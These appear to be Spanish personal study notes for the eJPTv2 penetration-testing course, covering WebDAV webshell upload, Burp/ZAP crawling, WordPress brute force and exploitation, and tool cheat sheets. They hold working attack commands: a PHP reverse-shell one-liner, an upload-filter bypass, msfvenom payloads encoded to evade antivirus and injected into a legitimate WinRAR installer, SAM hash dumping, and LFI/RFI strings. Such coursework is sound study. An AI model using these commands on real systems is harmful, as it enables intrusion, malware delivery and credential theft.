![[Pasted image 20260311215609.png]]![[Pasted image 20260311215740.png]]![[Pasted image 20260311215753.png]]
Vamos a visitar uploads con el burp encendido porque vamos a usar otros metodos que no son GET para ver si podemos subir algo a esta carpeta:
![[Pasted image 20260311215907.png]]
Lo interceptamos y lo mandamos al repeater:
![[Pasted image 20260311215928.png]]
Si lo mandamos tal cual vemos lo siguiente:
![[Pasted image 20260311215958.png]]
Si lo miramos sin burp se ve asi
![[Pasted image 20260311220021.png]]
Volvemos al burp y ponemos el metodo OPTIONS para ver so lo permite:
![[Pasted image 20260311220112.png]]
No vemos que permita PUT pero si vemos que es un DAV que es un servidor que nos permite mover, subir, descargar etc archivos en un web server. Potencialmente podriamos subir un archivo webshell de PHP (ya que era el lenguaje del backend)
| curl -v http://IP/uploads –upload-file /ruta/archivo |
Subir un archivo a una pagina web si lo permite como es el caso de un DAV |
![[Pasted image 20260311220422.png]]
Vamos a uploads apagando el proxy burp:
![[Pasted image 20260311220452.png]]
Se subio correctamente. si accedemos a el nos dice como usarlo:
![[Pasted image 20260311220524.png]]
Ponemos en la url lo siguiente:
![[Pasted image 20260311220547.png]]
Para hacer estas consultas mas rapido nos vamos a ayudar del repeater, volvemos a activar el burp y actualizamos la ruta en donde se encuentra el webshell:
![[Pasted image 20260311225549.png]]
![[Pasted image 20260311225746.png]]
Vamos a borrar el webshell de /uploads ya que podiamos ejecutar el metodo DELETE
![[Pasted image 20260311225918.png]]![[Pasted image 20260311225932.png]]![[Pasted image 20260311225950.png]]
Atajo para encodear a URL en repeater
Si seleccionamos algo y hacemos:
- Ctl U: codificamos en URL (Si le damos varias veces codificamos cada vez mas)
- Shift + Ctl U: decodificamos formato URL (Si le damos varias veces decodificamos cada vez mas)
Original:
![[Pasted image 20260311231212.png]]
Una vez Ctl U:
![[Pasted image 20260311231236.png]]
Otra vez:
![[Pasted image 20260311231258.png]]
Decodificamos Shift Ctl U:
![[Pasted image 20260311231322.png]]
Otra vez:
![[Pasted image 20260311231337.png]]
eJPTv2
7. Webapp Server / 3. Spidering Y Crawling
1. Crawling
El rastreo es el proceso de navegar en la aplicacion siguiendo los links, enviando formularios y loggeando donde sea posible con el objetivo de mapear y categorizar la webapp y los paths navegables
Podemos usar Burp Suite para rastreos pasivos que nos ayuden a mappear la aplicacion para un mejor entendimiento
Crawling con Burp
Navegamos a la webapp
![[Pasted image 20260312191728.png]]
Activamos en FoxyProxy el burp
![[Pasted image 20260312191804.png]]
Abrimos burp y lo dejamos apagado
![[Pasted image 20260312191943.png]]
Empezamos a navegar por el website, moviendonos entre hipervinculos y secciones como Login/Register y nos loggeamos…
Tras esto si volvemos a burp y vamos a target veremos todo el trafico y las URLs que hemos visitado al movernos por el webapp:
![[Pasted image 20260312192202.png]]
Si desplegamos lo de la izquierda veremos que esta haciendo una estructura del target: segundo donde estemos pulsando:
![[Pasted image 20260312192242.png]]
Lo ha dividido en http y https
Vemos por ejemplo el POST de nuestro form al intentar loggearnos:
![[Pasted image 20260312192342.png]]
eJPTv2
7. Webapp Server / 3. Spidering Y Crawling
2. Spidering
Proceso de descubrir automaticamente nuevos recursos (URLs) en una webapp o website
Suele empezar con una lista de URLs llamadas semillas, despues el Spider visita las URLs e identifica hiperlinks en la pagina y los anade a la lista de URLs que visitar y lo repite
Esto puede ser ruidoso y es considerado como una tecnica de recopilacion de informacion activa
Podemos usar OWASP ZAP para automatizar el proceso
Spidering con ZAP
Dejamos el foxy proxy iniciado en burp y ceramos burp. Abrimos ZAP:
![[Pasted image 20260312192743.png]]
Recargamos la pagina y una vez se reinicie vemos
![[Pasted image 20260312192900.png]]
Ahora vamos a Tools > Spider
![[Pasted image 20260312192929.png]]
Configuramos el spider:
![[Pasted image 20260312192951.png]]
Le anadimos un limite de recursividad hacia abajo:
![[Pasted image 20260312193031.png]]
Empezara a generar trafico GET:
![[Pasted image 20260312193101.png]]
![[Pasted image 20260312193121.png]]
Los rojos son hiperlinks externos y los verdes internos
Podemos pausar el scan, crear uno nuevo o pararlo completamente:
![[Pasted image 20260312193300.png]]
Esto es lo que hemos conseguido:
![[Pasted image 20260312193241.png]]
- Podemos exportar lo generado:
![[Pasted image 20260312193353.png]]![[Pasted image 20260312193401.png]]
Volviendo a lo interesante, por ejemplo el config.inc podemos abrirlo en un browser, dara error pero vemos la version de Apache:
![[Pasted image 20260312193512.png]]
![[Pasted image 20260312193522.png]]
Vemos un paswords:
![[Pasted image 20260312193608.png]]![[Pasted image 20260312193624.png]]
Vamos a abrir el phpmuamdin/index.html
![[Pasted image 20260312193816.png]]![[Pasted image 20260312193827.png]]
eJPTv2
7. Webapp Server / 4. Vuln Scan Nikto
1. Nikto
eJPTv2
7. Webapp Server / 5. Enumeracion Archivos Y Directorios
1. Fuerza Bruta Directorios Gobuster
Visto en: [[13. Gobuster]]
eJPTv2
7. Webapp Server / 6. Cms
1. Metodologia
-
Recopilacion de informacion y Enumeracion
- Escaneo de puertos y enumeracion de servicios
- Identificar la version del WP
- Enumerar/identifiar la lista de temas y plugins instalados en WP y sus versiones
- Realizar un file/directory enum para identificar recursos escondidos o sesibles
-
Vuln Scanning:
- Identificar malas confs y vulns comunes en WP
- Realizar escaneo de vulns automatico con herramientas como WPScan para identificar plugins y temas
-
Testeo de Autenticacion:
- Realizar fuerza bruta en /wp-admin.php p /wp-login.php para obtener creds validas
- Testear WP para vulnerabilidades de manejo de sesion
-
Explotacion:
- Identificar y explotar vulns conocidas publicamente en temas y plugins WP (XSS, SQLi…)
-
Post-Explotacion
- Establecer persistencia en WP/webserver via webshells o backdoors
- Exfiltrar datos sensibles del WP o webserver
eJPTv2
7. Webapp Server / 6. Cms
2. Ejemplo Explotando Wp
Comandos
![[Pasted image 20260313153741.png]]
| Comandos |
Explicacion |
| sudo nmap -Pn -sS -sV -T4 IP |
Vemos un Apache 2.4.18 en Ubuntu en el puerto 80 |
| nikto -h http://IP |
|
| ![[Pasted image 20260313153929.png]] |
|
| Confirmamos la version |
|
| wpscan –url http://IP |
Enumera plugins, temas… |
![[Pasted image 20260313154105.png]]![[Pasted image 20260313154126.png]]
![[Pasted image 20260313154159.png]]
![[Pasted image 20260313154235.png]]
![[Pasted image 20260313154257.png]]
XML RPC acelera el brute forcing
Hemos visto que hay un /robots.txt
![[Pasted image 20260313154142.png]]
Tambien que hay un wp-content/uploads que podemos mirar
![[Pasted image 20260313154207.png]]
Tambien vimos WP version y temas y plugins que pueden ser vulnerables o que ya no tienen mantenimiento
![[Pasted image 20260313154500.png]]
![[Pasted image 20260313154524.png]]
No signidica que sea el unico, se puede pasar una wordlist
| wpscan –url http://IP -U admin -P /usr/share/wordlist/100-common-passwords.txt |
Ataque de fuerza bruta: -U usuario -P /wordlist |
![[Pasted image 20260313154740.png]]
Vamos a /wp-login.php o /wp-admin.php
![[Pasted image 20260313154817.png]]
![[Pasted image 20260313154829.png]]
Vamos a añadir un usuario para la persistencia por ejemplo:
![[Pasted image 20260313154909.png]]
Si volvemos a enumerar usuario con -eu encontraremos a system:
![[Pasted image 20260313154950.png]]
Ejemplo con Burp de como explotar wp y postexplotacion
![[Pasted image 20260313155847.png]]![[Pasted image 20260313155903.png]]![[Pasted image 20260313155922.png]]
![[Pasted image 20260313160036.png]]
![[Pasted image 20260313160049.png]]
![[Pasted image 20260313155948.png]]![[Pasted image 20260313160013.png]]
Vemos ahi temas y plugins fuera de version
![[Pasted image 20260313160208.png]]![[Pasted image 20260313160215.png]]
![[Pasted image 20260313160405.png]]![[Pasted image 20260313160425.png]]
admin:admin por probar
![[Pasted image 20260313160509.png]]
Lo enviamos al intruder para hacer fuerza bruta desde Burp
![[Pasted image 20260313160530.png]]![[Pasted image 20260313160613.png]]
Vamos a payloads
![[Pasted image 20260313160638.png]]![[Pasted image 20260313160700.png]]
Start attack
![[Pasted image 20260313160728.png]]
Todos nos estan dando 200 porque no hay errores en la pagina pero debemos buscar el que tenga una longitud diferente
![[Pasted image 20260313160811.png]]
Si miramos la respuesta
![[Pasted image 20260313160827.png]]
Vamos a probarlo (Quitamos el proxy on antes)
![[Pasted image 20260313160902.png]]![[Pasted image 20260313160910.png]]
Estamos dentro. Vimos antes que teniamos un plugin desactualizado llamado wp-responsive-thumbnail-slider:
![[Pasted image 20260313160942.png]]
Aqui vemos que tiene la version 1.0
![[Pasted image 20260313161158.png]]
Es un txt con un PoC:
![[Pasted image 20260313161234.png]]![[Pasted image 20260313161247.png]]
Seguimos el PoC:
- Go To Add Image Section And Upload File By Self Plugin Uploader
- Then Upload File With Double Extension Image and By Using A BurpSuite Or Tamper Data Change The File Name From Shell.php.jpg To Shell.php
- And Shell Is Uploaded
![[Pasted image 20260313161449.png]]![[Pasted image 20260313161542.png]]
Add New
![[Pasted image 20260313161745.png]]![[Pasted image 20260313161841.png]]![[Pasted image 20260313161851.png]]![[Pasted image 20260313161913.png]]![[Pasted image 20260313161926.png]]![[Pasted image 20260313161955.png]]
Lo cambiamos a shell.php y lo enviamos
![[Pasted image 20260313162011.png]]![[Pasted image 20260313162043.png]]
Si le damos a edit saldra el nombre que le ha dado el webserver:
![[Pasted image 20260313162156.png]]
Encemos burp de nuevo y Clickamos en su hipervinculo:
![[Pasted image 20260313162225.png]]
![[Pasted image 20260313162300.png]]
Lo mandamos al repeater:
![[Pasted image 20260313162347.png]]
Ya podemos ejecutar comandos, vamos a subir un revershell, pero primero abrimos un netcat:
![[Pasted image 20260313162533.png]]
php -r ‘$sock=fsockopen(“IP”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’
![[Pasted image 20260313162648.png]]
Lo pasamos a formato URL 1 vez y probamos:
![[Pasted image 20260313162722.png]]![[Pasted image 20260313162734.png]]
Obtuviemos el reverse shell:
![[Pasted image 20260313162815.png]]
eJPTv2
7. Webapp Server
Indice Webapp Server
-
Webserver vs WebApp
- [[1. WebServer vs WebApp]]
-
HTTP
- [[1. Solicitudes HTTP]]
- [[2. Respuestas HTTP]]
- [[3. HTTP Basic Lab]]
-
Spidering y Crawling
- [[1. Crawling]]
- [[2. Spidering]]
-
Vuln Scan Nikto
- [[1. Nikto]]
-
Enumeracion archivos y directorios
- [[1. Fuerza bruta directorios gobuster]]
-
CMS
- [[1. Metodologia]]
- [[2. Ejemplo Explotando WP]]
eJPTv2
10. Herramientas
1. Fuerza Bruta Hydra Y MSF Login
MSF (modulos login)
Hydra
hydra -l <USER> -P /wordlist <TARGET> <PROTOCOLO>
eJPTv2
10. Herramientas
2. Crackmapexec
| Comandos |
Explicacion |
| crackmapexec <PROTOCOLO> IP|target -u <USER> -p <PASSWORD> |
Verificar creds |
| crackmapexec <PROTOCOLO> IP|target -u <USER> -p <PASSWORD> -x <COMANDOS> |
Ejecutar un comando |
| crackmapexec <PROTOCOLO> IP|target -u <USER> -p <PASSWORD> –sam |
Obtener hashes SAM |
| crackmapexec <PROTOCOLO> IP|target -u <USER> -p <PASSWORD> –users |
Enumerar usuarios |
eJPTv2
10. Herramientas
3. Msfvenom
Creacion de payloads
msfvenom -p <sistema/(arquitectora x64/x86)/(meterpreter)/reverse_tcp> LHOST=<IP_LOCAL\> LPORT=<PUERTO_LOCAL> -f <EXTENSION\> > archivo.extension
Ejemplos
| Comandos |
Explicacion |
| msfvenom |
Menu de ayuda |
| msfvenom –list payloads |
Listar los payloads disponibles
Diferencias los stage payloads de los no:
- Stage: sistema/arquitectura/meterpreter/reverse_tcp. Este es un stage porque primero genera un meterpreter y luego carga el reverse shell tcp - Non-satge: sistema/arquitectura/meterpreter_reverse_tcp. Este es un non-stage porque directamente carga el meterpreter y reverse shell de una |
| msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f exe > nombre_archivo.exe |
-a x86: especificamos que la arquitectura es 32bits -p payload: ponemos un payload, en este caso stage y para 32bits (si no se especifica la arquitectura es 32bits) - Se ponen las variables -f exe: se define la extension del archivo |
| msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f exe > nombre_archivo.exe |
Para un 64bits |
| msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f elf > nombre_archivo.exe |
Para Linux 32bits |
| msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f elf > nombre_archivo.exe |
Para 64bits |
| msfvenom –list format |
Formatos en los que podemos crear el archivo |
Encodeando payloads para evitar AV
Encodear es un proceso de modificar el codigo shell del payload con el objetivo de modificar su firma
- Shellcode: Es una pieza de codigo tipicamente usada para explotacion que nos provee de un command shell remoto en el sistema objetivo
| Comandos |
Explicacion |
| msfvenom –list encoders |
Lista de los encoders que podemos usar. Los unicos que tienen una puntuacion execelente son:
- cmd/powershell_base64 - x86/shikata_ga_nai: usaremos este para tanto windows como linux |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=NUESTRA_IP LPORT=N -e x86/shikata_ga_nai -f exe > nombre.exe |
Vemos que se realizo 1 iteracion de shikata_ga_nai. Podemos encodearlo las veces que queramos, cuanto mas menos AVs lo detectaran |
| -i 10 o –iterations 10 |
Numero de iteraciones |
|
|
| msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=NUESTRA_IP LPORT=N -i10 -e x86/shikata_ga_nai -f elf > nombre.exe |
Para Linux 32bits con 10 iteraciones |
Inyeccion payloads en ejecutables legitimos
| Comando |
Explicacion |
| Descargarnos WinRAR 32bits |
|
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=N -e x86/shikata_ga_nai -i 10 -f exe -x /ruta/winrar.exe > winrar.exe |
|
| -k |
Esta opcion hace que se ejecute el payload y luego vuelva con el codigo original haciendo que la ejecucion del programa parezca legitima.
Sin la k el programa original puede no abrirse, romperse o solo se ejecuta el payload |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=N -k -e x86/shikata_ga_nai -i 10 -f exe -x /ruta/winrar.exe > winrar.exe |
|
eJPTv2
10. Herramientas
4. Curl
eJPTv2
10. Herramientas
5. Dirb
eJPTv2
10. Herramientas
6. Xfreerdp
xfreerdp /u:<USER> /p:<PASSWORD> /v:<IP>
eJPTv2
10. Herramientas
7. Netcat
| Comandos |
Explicacion |
| nc –help |
-v: verbose -u: UDP option -l: listener -n: deshabilita la resolicion DNS de los hostnames -e COMANDO: ejecutar un comando especifico -p N: seleccionar puerto en el listener |
| nc IP PUERTO(80) |
Conectarnos a un puerto. No nos devuelve ningun banner |
| nc -nv IP PUERTO |
Nos conectamos sin resolucion DNS y con la opcion verbose. Vemos que la conexion si se esta realizando correctamente simplemente no tiene configurado un banner el servicio
Si nos diese connection refused puede que o no haya servicios en ese puerto o que haya algun firewall |
| nc -nvu IP 161 |
Se conecta por UDP al puerto 161 |
| nc -nvlp 1234 |
Nos ponemos en listening por el puerto 1234 TCP |
| nc -nvlup 1234 |
Nos ponemos en listening por el puerto 1234 UDP |
eJPTv2
10. Herramientas
8. John
PARA NTLM
| john –format=NT hashses.txt (–wordlist=/usr/share/wordlists/rockyou.txt) |
En este caso no hazi falta usar wordlist, la default sirve |
eJPTv2
10. Herramientas
9. Hashcat
PARA NTLM
| hashcat -a3 -m 1000 hashes.txt /usr/share/wordlist/rockyou.txt |
|
eJPTv2
10. Herramientas
10. Burp Suite
eJPTv2
10. Herramientas
11. Wpscan
| wpscan –url http://IP |
Enumera plugins, temas… |
| wpscan –url http://IP -eu |
-eu: Enumera Users |
| wpscan –url http://IP -U admin -P /usr/share/wordlist/100-common-passwords.txt |
Ataque de fuerza bruta: -U usuario -P /wordlist |
Enumeracion plugins,temas…
![[Pasted image 20260313154105.png]]![[Pasted image 20260313154126.png]]
![[Pasted image 20260313154159.png]]
![[Pasted image 20260313154235.png]]
![[Pasted image 20260313154257.png]]
Enumeracion users
![[Pasted image 20260313154500.png]]
![[Pasted image 20260313154524.png]]
eJPTv2
10. Herramientas
12. Nikto
| nikto -h target |
Realiza un escaneo del target
Veremos cosas como: - Version webserver - Lengua y version backend dado por el header “x-powered-by” - La variable de la cookie: PHPSESSID - /robots.txt esta presente - config directory si se encuentra - Otros directorios que se encuentren como phpmyadmin por ejemplo |
| nikto -h /URL/path -Tuning 5 -o nikto.html -Format htm |
Con esto podemos ver si en una url especifica hay alguna vuln de inclusion de archivos (En la vida real no va a haber una direccion que sea Local File Intrusion tan obvia pero es para demostrarlo)
-Tuning 5: limita el escaneo a vulns tipo 5 = file inclusion (tambien incluye RFI entre otras)
|
| Si ha nikto le especificas un path toma como objetivo ese path pero si le especificas el home page analiza el servidor web en general |
|
TUNINGS:
![[Pasted image 20260312214605.png]]
Ejemplo
Accedemos a la webapp
![[Pasted image 20260312205946.png]]
![[Pasted image 20260312210051.png]]
![[Pasted image 20260312210346.png]]
![[Pasted image 20260312210423.png]]![[Pasted image 20260312210528.png]]
![[Pasted image 20260312210615.png]]![[Pasted image 20260312210908.png]]
Si abrimos el html
![[Pasted image 20260312210947.png]]
Vemos un file inclusion vuln
![[Pasted image 20260312211028.png]]![[Pasted image 20260312211039.png]]
Ejemplo
![[Pasted image 20260312211636.png]]![[Pasted image 20260312211705.png]]![[Pasted image 20260312212415.png]]
Vemos version del webserver y PHP, paths interesantes, LFI y RFI (LFI basicamente es tratar de leer archivos locales mediante parametros que malinterpreta aplicacion web y RFI es tratar de incluir y ejecutar archivos en el servidor mediante parametros en la URL)
Ejemplo LFI: http://IP/recurso/../../../../../etc/passwd
Ejemplo RFI: http://IP/recurso/index.php?CONFIG[files][functions_page]=http://tu-servidor/test.txt
![[Pasted image 20260312212904.png]]![[Pasted image 20260312213025.png]]![[Pasted image 20260312213107.png]]
En esta parte del output ya estamos viendo 400 error o 200 success dependiendo del LFI usado
Pero este es el bueno que pone un +:
![[Pasted image 20260312213426.png]]
Si lo usamos:
![[Pasted image 20260312213457.png]]
Para una salida un poco mas limpia podemos hacer o quitar el -Display V (era el que saca toda la info):
![[Pasted image 20260312213630.png]]
O pasarlo a html y verlo:
![[Pasted image 20260312213822.png]]
![[Pasted image 20260312213857.png]]![[Pasted image 20260312213914.png]]
eJPTv2
10. Herramientas
13. Gobuster
gobuster dir -u http://URL/ -w <WORDLIST>
Encontrar directorios y archivos mediante fuerza bruta. Tambien se pueden vhosts y mas pero nos centramos en directorios
Parametros
WORDLIST : /usr/share/wordlist/dirb/common.txt
| Parametro |
Explicacion |
| -t N |
Sirve para añadir threads y hacerlo mas rapido (poner por lo menos 15) |
| -x extension,extension… |
Busca archivos con esas extensiones (ej. xml, php, conf) |
| -s 200,301… |
Solo se mostraran las salidas con esos result codes (whitelist) |
| -b 404,403… |
Excluye de la salida los que tengan esos result codes (blacklist) |
| –exclude-length N |
Excluir las salidas con un tamaño N |
| -r |
Follow the redirects, es decir, si hay una redireccion hara directamente la peticion a la redireccion para que no salte el 301
Gobuster no tiene modo recursive |
![[Pasted image 20260316205018.png]]
eJPTv2
10. Herramientas
14. Hydra
Servicios en general
| Comandos |
|
| hydra -l usuario -P wordlist IP protocolo |
|
| Comandos |
|
| hydra -l usuario -P wordlist IP http-post-form “ruta:parámetros:mensaje_error” |
GENERICO |
| hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.129.96.84 http-post-form “/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect” |
EJEMPLO |
| hydra -l admin -P /usr/share/wordlists/rockyou.txt -f -V 10.129.96.84 http-post-form “/nibbleblog/admin.php:username=^USER^&password=^PASS^:S=Dashboard” |
Si nos da varias respuestas correctas debemos sacar la salida por una posible ruta que salga tras un login bueno |
eJPTv2
10. Herramientas
Indice Herramientas
[[1. Fuerza Bruta - Hydra y MSF login]]
[[2. Crackmapexec]]
[[3. Msfvenom]]
[[4. Curl]]
[[5. dirb]]
[[6. xfreerdp]]
[[7. Netcat]]
[[8. John]]
[[9. Hashcat]]
[[10. Burp Suite]]
[[11. WPScan]]
[[12. Nikto]]
[[13. Gobuster]]
eJPTv2
11. Transferencia De Archivos / 1. Server / 1. Python HTTP Server
1. Python HTTP Server
Python2
python -m SimpleHTTPServer 80
Python3
python3 -m http.server 80
eJPTv2
11. Transferencia De Archivos / 2. Client
1. Windows
Certutil
certutil -urlcache -f http://IP/nombre.exe\ <nombre.exe>
eJPTv2
11. Transferencia De Archivos / 2. Client
2. Linux
wget
wget http://IP/archivo\ -O <NOMBRE>
curl
curl http://IP/archivo\ -o <NOMBRE>
eJPTv2
11. Transferencia De Archivos
Indice Transferencia De Archivos
-
Crear servidor
- [[1. Python HTTP Server]]
-
Descargar como cliente
- [[1. Windows]]
- [[2. Linux]]
eJPTv2
12. Wordlists
1. Users Y Passwords
USERNAME:
- /usr/share/metasploit-framework/data/wordlist/common_users.txt
- /usr/share/metasploit-framework/data/wordlist/unix_usernames.txt
PASSWORD:
- /usr/share/metasploit-framework/data/wordlist/common_pass.txt
- /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt
- /usr/share/wordlist/rockyou.txt —> gunzip /ruta
eJPTv2
12. Wordlists
2. DNS
/usr/share/dnsenum/dns.txt
eJPTv2
12. Wordlists
3. Directorios, Recursos, Subdominio WEB
/usr/share/wordlist/dirb/common.txt
eJPTv2
12. Wordlists
4. Shells Y Cheatsheet Reverse Shells
Ubicacion
/usr/share/webshells/
Ahi tambien hay reverse y bind shells
Cheasheet
- PayloadsAllTheThings –> “https://github.com/swiisskyrepo/PayloadAllTheThings/blob/master/Methodology and Resouces/Reverse Shell Cheatsheet.md” <– COPIAR TODO EN EL NAVEGADOR
![[Pasted image 20260318165245.png]]
- Revshells –> https://www.revshells.com/
![[Pasted image 20260318165317.png]]![[Pasted image 20260318165329.png]]![[Pasted image 20260318165351.png]]![[Pasted image 20260318165359.png]]
eJPTv2
12. Wordlists
Indice Wordlists
[[1. Users y Passwords]]
[[2. DNS]]
[[3. Directorios, recursos, subdominio web]]
[[4. Shells y Cheatsheet reverse shells]]